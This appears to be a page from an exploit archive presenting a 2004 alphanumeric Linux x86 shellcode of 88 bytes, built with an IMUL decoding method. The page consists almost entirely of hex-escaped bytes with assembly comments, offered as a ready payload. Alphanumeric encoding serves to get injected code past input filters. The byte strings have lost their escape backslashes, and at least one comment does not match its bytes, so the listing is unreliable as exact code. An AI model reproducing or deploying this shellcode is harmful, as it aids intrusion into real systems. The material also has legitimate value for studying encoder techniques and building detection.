[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes
# Published : 2004-12-22
# Author : xort
# Previous Title : linux/x86 alpha-numeric shellcode 64 bytes
# Next Title : linux/x86 Radically Self Modifying Code 70 bytes


/*-----------------------------------------------------*/
     /*     Alpha-Numeric Shellcode using IMUL Method       */
     /*           By XORt@dallas_2600)              88bytes */
     /*-----------------------------------------------------*/
     "x68x69x58x69x6b" /* push $0x6b695869             */
     "x68x7ax36x37x70" /* push $0x7037367a             */
     "x68x58x58x41x73" /* push $0x73415858             */
     "x68x71x4ax77x79" /* push $0x79774a71             */
     "x68x65x77x57x31" /* push $0x31577765             */
     "x68x42x69x57x77" /* push $0x6850c031             */
     "x50x50x50x50x50" /* 17 push %eax's               */
     "x50x50x50x50x50" /*                              */
     "x50x50x50x50x50" /*                              */
     "x50x50"             /*                              */
     "x54"                 /* push %esp                    */
     "x59"                 /* pop %ecx                     */
     "x6bx51x58x57"     /* imul $0x57, 0x58(%ecx), %edx */
     "x42"                 /* inc %edx                     */
     "x52"                 /* push %edx                    */
     "x6bx41x54x78"     /* imul $0x78, 0x54(%ecx), %edx */
     "x34x63"             /* xor $0x63, %al               */
     "x50"                 /* push %eax                    */
     "x6bx51x50x4a"     /* imul $0x4a, 0x50(%ecx), %edx */
     "x4a"                 /* dec %edx                     */
     "x4a"                 /* dec %edx                     */
     "x52"                 /* push %edx                    */
     "x6bx51x4cx79"     /* imul $0x79, 0x4c(%ecx), %edx */
     "x4a"                 /* dec %edx                     */
     "x52"                 /* push %edx                    */
     "x6bx41x48x36"     /* imul $0x36, 0x48(%ecx), %edx */
     "x34x61"             /* xor $0x61, %al               */
     "x50"                 /* push %eax                    */
     "x6bx51x44x79"     /* imul $0x79, 0x44(%ecx), %edx */
     "x4a"                 /* dec %edx                     */
     "x52"                 /* push %edx                    */
     /*------------------------------------------[bytes:88]-*/


// www.Syue.com [2004-12-22]